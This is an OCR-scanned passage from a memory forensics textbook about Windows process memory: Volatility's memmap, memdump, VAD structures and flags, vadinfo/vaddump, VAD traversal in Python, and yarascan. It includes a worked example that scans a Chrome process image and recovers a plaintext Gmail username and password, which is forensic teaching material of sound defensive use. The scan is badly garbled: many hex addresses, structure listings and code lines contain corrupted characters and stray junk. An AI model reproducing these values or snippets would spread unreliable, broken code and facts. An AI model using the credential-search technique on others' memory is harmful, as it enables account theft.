gaps that represent free or reserved ranges. You can also see small holes in committed
regions, indicating pages that are not memory-resident due to swapping.

Kernel Memory Driver
Driver U
OO DLL
O DLLpU
DLL O
U Exe O
Process Memor
y Injected Coden All
pages
[mw] (single
Heap O filo)

S Stack O

Figure 7-3: A diagram showing the memdump plugin acquires all
committed pages accessible to a process

Here’s an example of how the memmap output appears:

$ python vol.py -f memory.dmp --profile=Win7SP0x64 memmap -p 864

Volatility Foundation Volatility Framework 2.4

winlogon.exe pid: 864

Virtual Physical Size DumpFileOffset
0x0000000000010000 0x0000000151162000 0x1000 0x0
0x0000000000020000 0x0000000158de3000 0x1000 0x1000
0x0000000000021000 0x0000000158c64000 0x1000 0x2000
0x0000000000022000 0x0000000158d65000 0x1000 0x3000
0x0000000000023000 0x0000000158de6000 0x1000 0x4000
0x0000000000024000 0x0000000158d67000 0x1000 0x5000
[snip]

0x000000007efe3000 0x000000015200c000 0x1000 0x29£000

0x000000007efe4000 0x000000015208d000 0x1000 0x2a0000
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0x000000007££e0000 0x00000000001e6000 0x1000 0x2a1000
0x00000000££4c0000 0x000000015170a000 0x1000 0x2a2000
0x00000000££4c1000 0x0000000151b77000 0x1000 0x2a3000
[snip]

Oxff£f££80000bab000 0x0000000000bab000 0x1000 0xae4000
Oxff£f££80000bac000 0x0000000000bac000 0x1000 0xae5000
OxfE££££80002800000 0x0000000002800000 0x200000 0xae6000
Oxf££££80002a00000 0x0000000002a00000 0x200000 0xce6000
Oxf££££80002c00000 0x0000000002c00000 0x200000 0xee6000
0xf£ff£££80002e00000 0x0000000002e00000 0x200000 0x10e6000
Oxff£f££80003¢c7a000 0x0000000003c7a000 0x1000 0x12e6000
[snip]

Note the following points about this plugin’s output:

Virtual addresses 0x1000 and 0x2000 map to physical offsets 0x151162000 and
0x158de3000, respectively. This is further proof that virtually contiguous pages
are not contiguous in physical memory.

The virtual address 0x7££e0000 is the KUSER_SHARED_DATA region—a block of mem-
ory created by the kernel and shared with all processes. The value of 0x7££e0000 is
hardcoded into Windows, so it does not change per system. If you used memmap on
other processes, you'd see that they all have an identical mapping. This is one way
to enumerate shared pages (see the “Detecting Shared Pages” section of Chapter
17 for another example).

There is a big gap after the xuser_sHARED_DATA region. No other pages are avail-
able until oxff4cooo00. Those virtual addresses are either not committed or they’re
swapped.

Although the system’s default page size is 4KB (0x1000 bytes hex), you can see a
few pages of size 0x200000, which is 2MB. These are Page Size Entry (PSE) pages.

Another key point about the memmap output is the DumpFileoffset column on the right.
This value specifies the offset of the corresponding page in the file produced by the
memdump plugin. Because process address spaces are sparse—holes or gaps exist between
available pages—the output file is also sparse. For example, the data at virtual address
oxff4c1000 maps to physical offset 0x151b77000 (5.2GB), but your output file for this pro-
cess will be nowhere near that large. Thus, the pumpFileoffset column tells you where
to find the contents of oxff4c1000 in your output file (0x2a3000). Here’s an example of
using the memdump plugin:

S python vol.py -f memory.dmp --profile=Win7SP1x64
memdump -p 864 -D OUTDIR

Volatility Foundation Volatility Framework 2.4

Khkhkhkhkhkhkhkhk bk hkhkhk bk hkhkhk bk hkhkhk bk ko hkhkhkhk ko khhkhkhk ko hkhkhk ko hkhkhkhkhkhkhkhkhkhkhkdkhkhkhkhkdkhkhkdkhkdkhkhkhxdkx
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Writing winlogon.exe [ 864] to 864 .dmp

$ 1ls -alh OUTDIR/864.dmp
-rw-r--r-- 1 michael staff 434M Mar 14 14:51 864.dmp

As you can see, the resulting file (864 .dmp) is 434MB. If you use volshell to view the
contents of virtual address oxff4c1000, you should be able to match it up with the data
at offset 0x2a3000 of the 864 .damp file. Here’s a quick sanity check:

$ python vol.py -f memory.dmp --profile=Win7SP1x64 volshell -p 864
Volatility Foundation Volatility Framework 2.4

Current context: process winlogon.exe, pid=864, ppid=388 DTB=0x15140b000
To get help, type 'hh()'

>>> db (0x£f£f4c1000)

0xff4c1000 483b 0de9 3205 000f 8517 4301 0048 clcl H;..2..... C..H..
0xff4cl010 1066 f7cl ffff 0£85 0443 0100 c200 0090 P P C.ooot.
0xff4c1020 9090 9090 9090 9090 9090 9090 9090 9090  ......iiennn..
0xff4cl030 488b c453 4883 ec70 33db 4885 c94c 8d40 H..SH..p3.H..L.@
0xff4c1040 180f 95c3 4883 c9ff ba08 0000 00ff 1535 P 5
0xff4cl050 £303 0085 c078 4848 8b8c 2490 0000 0041  ..... XHH..S$....A
0xff4cl060 b938 0000 0048 8d84 2480 0000 0041 8d51 .8...H..$....A.Q
>>> quit()

$ xxd -s 0x2a3000 864 .dmp

02a3000: 483b 0de9 3205 000f 8517 4301 0048 clcl H;..2..... C..H..
02a3010: 1066 f7cl ffff 0£f85 0443 0100 c200 0090 .f....... C.o.....
0223020: 9090 9090 9090 9090 9090 9090 9090 9090 ................
02a3030: 488b c453 4883 ec70 33db 4885 c94c 8d40 H..SH..p3.H..L.@
02a3040: 180f 95c3 4883 c9ff ba08 0000 00ff 1535 ....H.......... 5
02a3050: £303 0085 c078 4848 8b8c 2490 0000 0041 ..... xHH..$....A
02a3060: b938 0000 0048 8d84 2480 0000 0041 8451 .8...H..$....A.Q

At this point, you should be able to determine which pages are accessible to a process
and where they map to in physical memory. You know how to dump the available mem-
ory to a single file on disk, which you can process with external tools such as antivirus
scanners. The one thing you're missing is the ability to associate addresses in virtual or
physical memory with names of mapped files, DLLs, or executables occupying that space.
For example, if your scanner tells you it found a known bad signature at offset 0x2a3030
of 864.dmp, you might run into trouble trying to further classify the data. This is where
VADs come in handy, which we’ll discuss next.

Virtual Address Descriptors

A process’ VAD tree describes the layout of its memory segments at a slightly higher level
than the page tables. The operating system, not the CPU, defines and maintains these
data structures. Thus, the OS can populate the VAD nodes with information about the
underlying memory ranges that the CPU doesn’t necessarily care about. For example,
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VADs contain the names of memory-mapped files, the total number of pages in the region,
the initial protection (read, write, execute), and several other flags that can tell you a lot
about what type of data the regions contain.

As shown in Figure 7-4, the VAD is a self-balancing binary tree (see Brendan Dolan-
Gavitt’s The VAD Tree: A Process-Eye View of Physical Memory at http: //www.dfrws.org/2007/
proceedings/p62-dolan-gavitt.pdf). Each node in the tree represents one range in process
virtual memory. A node that describes a memory range lower than its parent appears on
the left, and a node that describes a higher range appears on the right. This schema makes
searching, adding, and removing more efficient than a single- or doubly-linked list.

¥

Vad
00090000 - 00091 fff

S

VadS Vad
00040000 - 0007fff 0010a0000 - 0001 affff
o |
VadS Vad VadS
00020000 - 00020fff 00080000 — 00084fff 000a0000 — 0019ffff
VadS VadS Vad
00010000 - 00010fff 00030000 - 0003fff 0001c0000 - 00203fff

Figure 7-4: A graph produced by the vadtree plugin color codes process memory ranges according
to their contents.

This diagram was produced by Volatility’s vadtree plugin with the --render=dot
option, which is discussed more in the next few pages. Besides drawing the relationships
between VAD nodes, it also color codes them according to their contents. For example,
process heaps are red, thread stacks are green, mapped files are yellow, and DLLs are gray,
which enables you to easily visualize what type of data is mapped into process memory.

VAD Structures

For each process, _EPROCESS . vadRoot points to the root of the VAD tree. Although the name
of this member is consistent across all versions of Windows from XP to 8.1, the type of the
member has frequently changed, as have the names of the VAD nodes. The differences are
shown in Table 7-1. For example, on Windows XP and 2003 Server, vadroot pointed to an
_MMVAD_SHORT, _MMVAD, or _MMVAD_LONG. The kernel decides exactly what structure to create
based on the API used for allocation and the parameters passed to the API Together, this
information is enough to derive the intended purpose of the memory range—whether it



Process Memory Internals 199

will store a mapped file, DLL, or just a private allocation. Each node has a Leftchild and
Rightchild, which direct you down the various paths in the tree.

As you can see, starting in Vista, vadroot was redesigned to be an _MM_avL_TaBLE, and
it changed again in Windows 8.1 to an _rTL_avL_tTreE. Along the way, the nodes also were
redesigned three times. However, despite the seemingly drastic changes, the VAD has
always remained a tree, and the algorithms for enumerating the nodes have remained
quite similar. In fact, as hinted at in Table 7-1, the different node names are essentially
just aliases to the original _mmMvap[_sHORT, LoNG] structures from XP. When you analyze
VAD trees with Volatility, these changes are handled transparently.

Table 7-1: Different VAD Structures per OS Version

Operating System VadRoot Node

Windows XP Pointer to a node _MMVAD_SHORT, MMVAD, MMVAD_ LONG
Windows 2003 Server Same as XP Same as XP

Windows Vista _MM_AVL_TABLE _MMADDRESS_NODE (alias)

Windows 2008 Server Same as Vista Same as Vista

Windows 7 Same as Vista Same as Vista

Windows 8, 2012 Same as Vista MM _AVL NODE (alias)

Windows 8.1, 2012R2 _RTL_AVL_ TREE _RTL BALANCED NODE (alias)

Here are the relevant structures from a 64-bit Windows 7 machine. You can see the
_MM_AVL,_TABLE has a Balancedroot member, which is an mMappress Nopk. Each node has
a set of pointers to its child nodes and a startingvpn and Endingvpn. From these virtual
page numbers (VPNs), you can derive the addresses of the first and last pages in the
target process’ virtual memory. We said derive because the VPNs are page numbers, not
addresses. To get the address, you have to multiply the page number by the size of a page.

>>> dt (" MM AVL TABLE")
'_MM_AVL_TABLE' (64 bytes)

0x0 : BalancedRoot [' MMADDRESS NODE']

0x28 : DepthOfTree ['BitField', {'end bit': 5,
'start_bit': 0, 'native type': 'unsigned long long'}]

0x28 : NumberGenericTableElements ['BitField', {'end_bit‘: 64,
'start bit': 8, 'mative type': 'unsigned long long'}]

0x28 : Unused ['"BitField', {'end_bit‘: 8,
'start_bit': 5, 'native type': 'unsigned long long'}]

0x30 : NodeHint ['pointer64', ['void']]

0x38 : NodeFreeHint ['pointer64', ['void']]

>>> dt ("_MMADDRESS NODE")
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' MMADDRESS NODE' (40 bytes)

-0xc : Tag 'String', {'length': 4}]
0x0 :ul ' __unnamed_15cd']

0x10 : RightChild 'pointer64 ', ['_MMADDRESS NODE']]
0x18 : StartingVpn 'unsigned long long']

[
[
0x8 : LeftChild ['pointer64', [' MMADDRESS NODE']]
[
[
0x20 : EndingVpn ["unsigned long long']

Table 7-1 labels _MMADDRESS_NODE as an alias because it is really one of the _mmvap+
structures. Notice in the following listings that the short node (_MMvaD_sHORT) starts with
the exact same members as _MMADDRESS_NODE. Likewise, the regular node ( _mMvap) and
long node ( _mmvap_rong) build on top of the smaller structures, but include additional
members at the end. In particular, they add the subsection, which the OS uses to track
information on files or DLLs mapped into the region:

>>> dt (" MMVAD SHORT")
' MMVAD SHORT' (64 bytes)

-0xc : Tag ['String', {'length': 4}]
0x0 :ul ['__unnamed 15bf']

0x8 : LeftChild ['pointeré64', ['_MMVAD']]
0x10 : RightChild ['pointer64', [' MMVAD']]
0x18 : StartingVpn ['unsigned long long']
0x20 : EndingVpn ['unsigned long long']
0x28 : u ['_ unnamed 15c2']

0x30 : PushLock ['_EX PUSH LOCK']

0x38 : ub [' _ unnamed 15c5']

>>> dt("_MMVAD")
' _MMVAD' (120 bytes)

-0xc : Tag 'String', {'length': 4}]
0x0 :ul ' unnamed 15bf']

0x8 : LeftChild 'pointer64', ['_MMVAD']]
0x10 : RightChild 'pointer64', [' MMVAD']]
0x18 : StartingVpn 'unsigned long long']

0x20 : EndingVpn 'unsigned long long']

[
[
[
[
[
[
0x28 : u ['__unnamed 15c2']
0x30 : PushLock [' EX PUSH LOCK']
0x38 : ub [' _unnamed 15c5']
0x40 : u2 ['_unnamed 15d2']
0x48 : MappedSubsection ['pointer64', [' MSUBSECTION']]
0x48 : Subsection ['pointer64', ['_ SUBSECTION']]
0x50 : FirstPrototypePte ['pointer64', ['_MMPTE']]
0x58 : LastContiguousPte ['pointer64', [' MMPTE']]
0x60 : ViewLinks [' LIST ENTRY']
0x70 : VadsProcess ['pointer64', [' EPROCESS']]

>>> dt (" MMVAD LONG")

' MMVAD LONG' (144 bytes)

-0xc : Tag ['String', {'length': 4}]
0x0 :ul ['_unnamed 15bf']
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0x8 : LeftChild ['pointer64', ['_MMVAD']]
0x10 : RightChild ['pointer64', [' MMVAD']]
0x18 : StartingVpn ['unsigned long long']

0x20 : EndingVpn ['unsigned long long']

0x28 : u ['__unnamed 15c2']

0x30 : PushLock [' EX PUSH LOCK']

0x38 : ub [' _unnamed 15c5']

0x40 : u2 ['_ unnamed 15d2']

0x48 : Subsection ['pointer64', ['_SUBSECTION']]
0x50 : FirstPrototypePte ['pointer64', [' MMPTE']]
0x58 : LastContiguousPte ['pointer64', ['_MMPTE']]
0x60 : ViewLinks [' LIST ENTRY']

0x70 : VadsProcess ['pointer64', [' EPROCESS']]
0x78 : u3 ['__unnamed 1lc7f']

0x88 : u4 ['__unnamed 1c85']

This discussion should help you begin to understand how you can classify the potential
purpose of a memory range based on the node type. For example, a short node does not
have a subsection, thus it cannot possibly store a mapped file. On the other hand, shell
code that gets injected into a process never needs to exist on disk. Thus, it won’t be backed
by a file. As a result, if youre hunting for code injection, you can probably ignore the regu-
lar and long nodes because the OS would not typically select one of the larger structures
if the extra members they provide would never get used—it would be wasteful to do so.

VAD Tags

After reading the previous discussions, you might wonder how Volatility determines
which of the three _mvvap+ structures is aliased by an _mMappress_nope. The answer lies
with the Tag member of the mmvap* structures. Notice that the offset of this member is
-oxc (or 12 bytes behind the start of the structure) for 64-bit platforms. In typical program-
ming languages, such as C and C++, you never see members at negative offsets. Indeed,
this is a convenient hack allowed when defining structures with Volatility. Essentially
what we're doing is accessing the poolTag member of the _pooL_HEADER, which exists in
memory directly before the node. If you recall from Chapter 5, Windows assigns tags to
pools to indicate what type of data they contain. Table 7-2 lists the relevant entries.

Table 7-2: A Mapping of VAD-Related Pool Tags to the Containing Structure Type

Tag Node Type
Vadl _MMVAD LONG
Vadm _MMVAD LONG
Vad _MMVAD LONG
Vads _MMVAD SHORT

VadF _MMVAD_SHORT
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Memory regions that contain injected shell code won't be backed by a file. Thus,
you would be looking for nodes with a vads or vadr tag. Assuming that you have an
instance of a node structure (we’ll show you how to enumerate them shortly) in the vari-
able vad, you can easily print, or check, the value by referencing vad.Tag in your Python
code.

VAD Flags

Each node has one or more sets of flags that contain characteristics about the memory
range. These flags are located in embedded unions named v, u1, u2, u3, and so on. For
example, the short node’s u member is of type __unnamed_15c2. This naming schema is
based on the <unnamed-tags> fields found in Microsoft debugging symbols because the
unions don’t have associated types. To give you the ability to uniquely identify them in
Volatility’s type language, an integer is appended to the end (the _15c2 part). This par-
ticular union appears like so:

>>> dt("__ unnamed 15c2")

' __unnamed_15c2' (8 bytes)

0x0 : LongFlags ['unsigned long long']
0x0 : VadFlags [' MMVAD FLAGS']

Both members exist at offset 0, so they occupy the same space. You can refer to a node’s
flags by either the full 8-byte value (_MMVAD.u.LongFlags) or individually by accessing
the predefined bit fields of _MMvaD.u.vadFlags. The following structure displays the pos-
sible flags. For example, bits 0 to 51 of the 8-byte value are for commitcharge, and bits 56
to 61 are the protection.

>>> dt (" _MMVAD FLAGS")
'_MMVAD FLAGS' (8 bytes)

0x0 : CommitCharge ["BitField', {'end_bit': 51, 'start_bit': O,
'native type': 'unsigned long long'}]

0x0 : NoChange ['"BitField', {'end_bit': 52, 'start bit': 51,
'native type': 'unsigned long long'}]

0x0 : VadType ['"BitField', {'end_bit': 55, 'start _bit': 52,
'native type': 'unsigned long long'}]

0x0 : MemCommit ["BitField', {'endﬁbit': 56, 'start bit': 55,
'native type': 'unsigned long long'}]

0x0 : Protection ["BitField', {'end_bit': 61, 'start bit': 56,
'native type': 'unsigned long long'}]

0x0 : Spare ['"BitField', {'end_bit': 63, 'start_bit': 61,
'native type': 'unsigned long long'}]

0x0 : PrivateMemory ['"BitField', {'endﬁbit': 64, 'start bit': 63,
'native type': 'unsigned long long'}]

The following sections describe some of the more critical fields.



Process Memory Internals 203

CommitCharge

CommitCharge specifies the number of pages committed in the region described by the
VAD node. This member is similar to Memcommit, which tells you whether the memory was
committed when the virtual allocation API (NtallocatevirtualMemory) was first called.
The reason we care about this field is because historically when code injecting malware
sets up the target process” address space to receive the malicious code, it commits all pages
up front—it doesn’t reserve them and then go back and commit them later (although
it very well could). Thus, you can use these additional characteristics to help identify
injected memory regions.

Protection

This field indicates what type of access should be allowed to the memory region. This
value is loosely coupled with the memory protection constants passed to the virtual
allocation APIs. These constants (shown in the following list) are self-explanatory for the
most part, but there are indeed some subtle facts that can help you ascertain the type of
data in an unknown region. For example, you cannot use PAGE_EXECUTE to store mapped
files, whereas PAGE_EXECUTE_WRITECOPY is valid only for mapped files—most often DLLs.

PAGE_EXECUTE: The memory can be executed, but not written. This protection can-
not be used for mapped files.

PAGE_EXECUTE_READ: The memory can be executed or read, but not written.
PAGE_EXECUTE_READWRITE: The memory can be executed, read, or written. Injected
code regions almost always have this protection.

PAGE_EXECUTE_WRITECOPY: Enables execute, read-only, or copy-on-write access to a
mapped view of a file. It cannot be set by calling virtualalloc or virtualAllocEx.
DLLs almost always have this protection.

PAGE_NOACCESS: Disables all access to the memory. This protection cannot be used
for mapped files. Applications can prevent accidental reads/writes to data by set-
ting this protection.

PAGE_READONLY: The memory can be read, but not executed or written.
PAGE_READWRITE: The memory can be read or written, but not executed.
PAGE_WRITECOPY: Enables read-only or copy-on-write access to a mapped view of
a file. It cannot be set by calling virtualalloc or virtualAllocEx.

One of the most misleading and poorly documented aspects of the protection field
from the VAD flags is that it’s only the initial protection specified for all pages in the
range when they were first reserved or committed. Thus, the current protection can be
drastically different. For example, you can call virtualalloc and reserve ten pages with
PAGE_NOACCESS. Later, you can commit three of the pages as PAGE_EXECUTE_READWRITE and



204 Partll: Windows Memory Forensics

four others as pPAGE_READONLY, but the Protection field still contains pace_noaccess. Older
Zeus samples from 2006 used this technique, so its injected memory regions appeared
as PAGE_NOACCESS.

This makes sense because there’s only one protection value for all pages in the range,
but permissions can be applied at page granularity. Thus, don't be surprised if you find
injected code, which by definition needs to be executable, hiding among a node that claims
all its pages are inaccessible or read-only. For an authoritative look at page permissions,
you need to consult the bits in the page table. In other words, this protection field can
be useful, but only if you're aware of its reliability limitations. Tools that run on a live
system and use vVirtualQueryEx don’t have the same limitation, however, because the API
doesn’t directly query the protection value.

NOTE

For additional descriptions, see Memory Protection Constants at http: / /msdn . microsoft . com/
en-us/library/windows/desktop/aa366786 (v=vs.85) .aspx.

Also, the protection member is loosely coupled with the constants, but is not an
exact match. The protection is actually an index into nt iMmProtectTovalue, which is a
lookup table whose positions store the constant values. This relationship is described
in Recipe 16-4 of Malware Analyst’s Cookbook.

Private Memory

Private memory, in this context, refers to committed regions that cannot typically be shared
with or inherited by other processes. Mapped files, named shared memory, and copy-on-
write DLLs can be shared with other processes (although they may not be). Thus, if the
PrivateMemory bit is set for a memory region, it does not contain one of the aforemen-
tioned types of data. A process” heaps, stacks, and ranges allocated with virtualalloc
or virtualAllocEx are usually marked as private. As previously described, because
VirtualAllocEx is used to allocate memory in a remote process, the privateMemory mem-
ber is yet another factor you can look at when looking for injected shell code.

Volatility VAD Plugins
Volatility provides the following plugins for inspecting VADs:

vadinfo: Displays the most verbose output, including the starting and ending
addresses, the protection level, flags, and full paths to mapped files or DLLs.
vadtree: In text mode, this plugin prints a tree-view of the nodes, so you can see
the parent and child relationships on your console. It also supports generating the
color-coded graphs shown in Figure 7-4.
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vaddump: Extracts the range of process memory each VAD node describes to a
separate file on disk. Unlike memmap (discussed earlier), the output from this plugin
is padded with zeros if any pages in the range are swapped to disk to maintain
spatial integrity (offsets).

An example of the vadinfo output for a 64-bit Windows 7 sample follows. Naturally,
each process contains hundreds of regions, so we just selected a few for demonstration
purposes.

The first one indicates that you can find the VAD node at oxff££fag0012184a0 in kernel
memory; and the tag is vads, which means the type of structure is _mmvap_szort. This
node describes the range 0x50000 — 0x51£££ in process memory. Given the size of this
range (two pages), and the fact that MemCommit is set and commitcharge is 2, you know that
both pages were committed with the first call to the virtual allocation API Based on the
protection, this memory is readable and writeable, but not executable.

S python vol.py -f memory.dmp --profile=Win7SP1x64 vadinfo -p 1080
Volatility Foundation Volatility Framework 2.4

[snip]

VAD node @ 0xfffffa80012184a0

Start 0x0000000000050000 End 0x0000000000051fff Tag Vads

Flags: CommitCharge: 2, MemCommit: 1, PrivateMemory: 1, Protection: 4
Protection: PAGE_READWRITE

Vad Type: VadNone

The following entry is similar to the first in that it’s also a short node. It describes
memory in the range ox7£0e0000 - ox7f£fdffff, which is about 15MB. However, the
CommitCharge and Memcommit flags don't appear, which essentially means that theyre
both zero. Thus, this range of memory has simply been reserved—the OS has not paired
it with any physical pages:

VAD node @ 0xfffffag000el7460

Start 0x000000007£0€0000 End 0x000000007ffdffff Tag Vads

Flags: PrivateMemory: 1, Protection: 1

Protection: PAGE READONLY
Vad Type: VadNone

The next two nodes describe the ranges 0x4200000 — 0x4207££f and 0x77070000 —
0x77218££f in process memory. The tag for both nodes is vad, which means that they're
using one of the larger _Mmvap structures that allow files to be mapped into the region and
subsequently shared with other processes. Indeed, this is what you see—index.dat and
ntdll.d11 exist at these locations. Despite the similarities, only one of the mappings (for
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ntdll.d11) is executable. You can tell because the protection is PAGE_EXECUTE WRITECOPY,
the type is vadImageMap, and the Image bit in the control flags is set:

VAD node @ 0xfffffa800158af80

Start 0x0000000004200000 End 0x0000000004207fff Tag Vad

Flags: Protection: 4

Protection: PAGE_READWRITE

Vad Type: VadNone

ControlArea @fffffa8002dcfb60 Segment fffff8a0053d0850

NumberOfSectionReferences: 1 NumberOfPfnReferences:

NumberOfMappedViews: 1 NumberOfUserReferences: 2

Control Flags: Accessed: 1, File: 1

FileObject @fffffag8001a88310, Name: \Users\Admin\AppData\Local\Microsoft)\
Windows\Temporary Internet Files\Content.IE5\index.dat

First prototype PTE: fffff8a002cfecd0d Last contiguous PTE: fffff8a002cfed08

Flags2: Inherit: 1

[snip]

VAD node @ 0xfffffa800133d550

Start 0x0000000077070000 End 0x0000000077218fff Tag Vad

Flags: CommitCharge: 12, Protection: 7, VadType: 2

Protection: PAGE_EXECUTE WRITECOPY

Vad Type: VadImageMap

ControlArea @fffffaB8001979c60 Segment ff£f£f£8a000139010
NumberOfSectionReferences: 2 NumberOfPfnReferences: 423
NumberOfMappedViews: 37 NumberOfUserReferences: 39
Control Flags: Accessed: 1, File: 1, Image: 1

FileObject @fffffag8001965970, Name: \Windows\System32\ntdll.dll

First prototype PTE: fffff8a000139058 Last contiguous PTE: fffffffffffffffc
Flags2: Inherit: 1

Using the vadinfo plugin is a great way to query details about process memory. Suppose
that you found a region that interests you, whether because you recognize the mapped
file as being on your list of indicators, or because you found a pointer or other artifact that
directs you to an address within the range the node describes. The following example
shows how to use volshell to cross-reference what the VAD node tells you about the
region (it should contain index.dat) with the data that actually exists there. As shown,
at 0x4200000 in this process, an IE history URL cache header is indeed present:

$ python vol.py -f memory.dmp --profile=Win7SP1x64 volshell -p 1080
Volatility Foundation Volatility Framework 2.4

Current context: process explorer.exe, pid=1080, ppid=1452 DTB=0x19493000
To get help, type 'hh()'

>>> db(0x0000000004200000)

0x04200000 436c 6965 6e74 2055 726c 4361 6368 6520 Client.UrlCache.
0x04200010 4d4d 4620 5665 7220 352e 3200 0080 0000 MMF.Ver.5.2.....
0x04200020 0000 0000 8000 0000 2000 0000 0000 0000  ..........vnonn.
0x04200030 0000 2003 0000 0000 0000 0000 0000 0000  ..... ...
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0x04200040 0000 0000 0000 0000 0400 0000 0000 0000  ................
0x04200050 4552 4635 5239 4e43 0000 0000 454b 4f37 ERF5RONC. . . .EKO7
0x04200060 4631 4745 0000 0000 4638 3048 4c52 4d4c F1GE....F80HLRML
0x04200070 0000 0000 5230 5856 5145 5458 0000 0000 ....ROXVQETX. ...

You can dump this specific region to disk by using the --base option to vaddump, as
shown here:

S python vol.py -f memory.dmp --profile=Win7SP1x64 vaddump
-p 1080 --base 0x0000000004200000 -D OUTDIR

Volatility Foundation Volatility Framework 2.4
Pid Process Start End Result

1080 explorer.exe 0x0000000004200000 0x0000000004207fff
./explorer.exe.3£a08060.0x0000000004200000-0x0000000004207£££.dmp

By default, if you don't specify --base, the plugin dumps all regions to separate files
and then names them according to the location in process memory where they were found.
Figure 7-5 shows a diagram of what this plugin extracts. You can compare the diagram
with memmap from Figure 7-3 to see the differences. In particular, vaddump gives you one
zero-padded file per region of process memory instead of a condensed single file that
contains all addressable pages across process and kernel memory.

OO DLL
O DLLoHY
DLL O Region
vaddump

U Exe

Process Memory _ ——
Injected Coden

Each region dumped to a
Heap O separate file

S Stack O

Figure 7-5: A diagram showing the vaddump plugin extracting each region to a separate zero-
padded file

Chapter 9 discusses the evtlogs plugin, which leverages the same functionality as
vaddump, but extracts only ranges that contain memory-mapped event log files. If you
didn’t zero-pad the dumped files, a single swapped page could cause all offsets in the
file to shift unexpectedly. Thus, because the next step in analysis is frequently to analyze
the dumped regions in external tools (event log parsers, disassemblers, and so on), the
zero-padding is essential.

207
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Traversing the VAD in Python

Many Volatility plugins that harvest data from process memory begin by traversing the
VAD tree. For example, svescan locates Windows service records (Chapter 12) and emdscan
finds command histories (Chapter 17). Inevitably, you'll want to find other artifacts in pro-
cess memory—whether by using an existing plugin or building your own. The following
examples demonstrate some of the APIs you can use to make your life easier when that
time comes.

The first example shows how to iterate through the VADs, read a specified amount of
data from each range, search the data for a signature, and report the results. Notice that
we supply -p 1080 when invoking the volshell plugin, so we'll start off in the context
of the process with PID 1080. This is just a shortcut to changing contexts with cc (pid =
1080) once inside the shell. Next, we assign the value of proc (), which is the _EprocEss
object for PID 1080, to another variable named process—just for the sake of readability.
You can acquire a process address space with the get_process_address_space () function,
which you can then use to read process memory:

$ python vol.py -f memory.dmp --profile=Win7SP1x64 volshell -p 1080

Volatility Foundation Volatility Framework 2.4

Current context: process explorer.exe, pid=1080, ppid=1452 DTB=0x19493000

To get help, type 'hh()'

>>> process = proc()
>>> process_space = process.get process address_space()

The following loop does most of the work. It uses the vadroot . traverse () API to gener-
ate a VAD object for each node in the tree. The nodes identify their starting and ending
page numbers using the startingvpn and Endingvpn members, respectively. However, you
must multiply them by the size of a page to get the actual address in process memory.
This is all handled for you in the background by helper methods that Volatility attaches
to the VAD objects. For example, start () returns a properly calculated starting address.
You can see this value being passed to the address space’s read () function:

>>> for vad in process.VadRoot.traverse():
data = process space.read(vad.Start, 1024)

if data:
found = data.find("MZ")
if found != -1:

print "Found signature in VAD", hex(vad.Start)

Found signature in VAD 0x3840000L
Found signature in VAD 0xd0000L
Found signature in VAD 0x140000L
Found signature in VAD 0x1££0000L
Found signature in VAD 0x2070000L
Found signature in VAD 0x2770000L
Found signature in VAD 0x29b0000L
[snip]
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If the read completes successfully, the data is scanned for an “MZ” signature (a poten-
tial executable). The starting address of the containing range is then reported to your
console. Other plugins exist (such as d111list, 1drmodules, and malfind) that automate
finding executables throughout process memory, so this example familiarizes you with
how to implement simple searches that can yield useful results. Typically, you would have
a post-processor for the data you find to further validate it, extract it to disk, and so on.

Passwords in Browser Memory

A weakness with the previous algorithm is that it searched only the first 1024 bytes of
each range and it reported only whether a single pattern was found. The existing search_
process_memory () function accepts multiple inputs and it scans all accessible data in the
range and reports the address of each occurrence. In the following example, we leverage
this functionality to find Gmail passwords in the memory of a Google Chrome browser. If
you use a web proxy to capture outgoing POST data during a login, you'll notice that the
POST parameters include sEmail and sPasswd. Thus, these two strings become our criteria.

As shown in the following code, we get started with volshell in the same manner as
before, but for PID 3660 (chrome.exe). The criteria variable is a list that gets filled with
the Unicode (utf_16_1e) version of the two strings. Then we iterate through the results
that search process_memory () produces and create a string ObjeCt at each address:

$ python vol.py -f memory.dmp --profile=Win7SP1x64 volshell -p 3660

Volatility Foundation Volatility Framework 2.4

Current context: process chrome.exe, pid=3660, ppid=3560 DTB=0x1b9fc000

To get help, type 'hh()'

>>> process = proc|()

>>> process_space = process.dget process address_space()

>>> criteria = []

>>> criteria.append("&Email".encode ("utf 16 le"))

>>> criteria.append("&Passwd".encode("utf 16 le"))

>>> for addr in process.search process memory (criteria):

string = obj.Object ("String",
offset = addr, vm = process_space,
encoding = "utflé", length = 64)
print str(string)

&Email=hack4life2&Passwd=dater7-
&Passwd=dater7-tarry&signIn=Sign
&Email=hack4life200&Passwd=dater
&Passwd=dater7-tarry&signIn=Sign

The username and password for the account are both in plain text in process memory,
even when SSL is in use. Some of the strings appear truncated, but that’s just because we
specified a maximum length of 64 when creating the string object. As you can imagine,
the types of forensic data you can find in process memory are quite limitless, as are the
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possibilities of what you can do after finding such data (in terms of postprocessing,
automated analysis, and so on).

Scanning Memory with Yara

Yara is a tool by Victor M. Alvarez (http://plusvic.github.io/yara) for fast and flex-
ible pattern matching within arbitrary data sets. In other words, it works against files,
memory dumps, packet captures, and so on. Although you can easily scan across a physi-
cal memory dump file, remember that contiguous virtual addresses may be fragmented
in physical memory. Thus, your signatures can fail to match patterns that truly exist in
memory if they happen to cross page boundaries. Volatility’s yarascan plugin enables
you to scan through virtual memory, so fragmentation at the physical layer isn’t an issue.
Furthermore, when you find hits, you can attribute them back to the process or kernel
module that owned the memory—giving you context and a powerful frame of reference.

NOTE

Volatility also provides a 1inux_yarascan and mac_yarascan plugin that operate simi-
larly on Linux and Mac memory dumps, respectively.

The main capabilities of the yarascan plugin are these:

Scan one, multiple, or all processes for a given signature provided on the command
line (--pid and --yara-rules options).

Scan a hidden process that you identify via the physical offset of its _EPROCESS
(——offset)

Scan the entire range of kernel memory (--kernel) and show the name of the
kernel module, if any.

Any of the preceding options, but find signatures in the supplied Yara rules file
(--yara-file). The argument to this option can also be an index file that includes
various other files.

Optionally, extract the memory ranges that contain positive hits to disk (- -dump-dir).
This process saves you a few steps—rather than analyzing results and then extracting
data for further analysis, it can all be automated.

Here is the full display of command line options for this plugin:

$ python vol.py yarascan -h
Volatility Foundation Volatility Framework 2.4

[snip]
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-0 OFFSET, --o0ffset=0FFSET
EPROCESS offset (in hex) in the physical address space

-p PID, --pid=PID Operate on these Process IDs (comma-separated)
-K, --kernel Scan kernel modules
-W, --wide Match wide (unicode) strings

-Y YARA RULES, --yara-rules=YARA RULES
Yara rules (as a string)
-y YARA FILE, --yara-file=YARA FILE
Yara rules (rules file)
-D DUMP_DIR, --dump-dir=DUMP_DIR
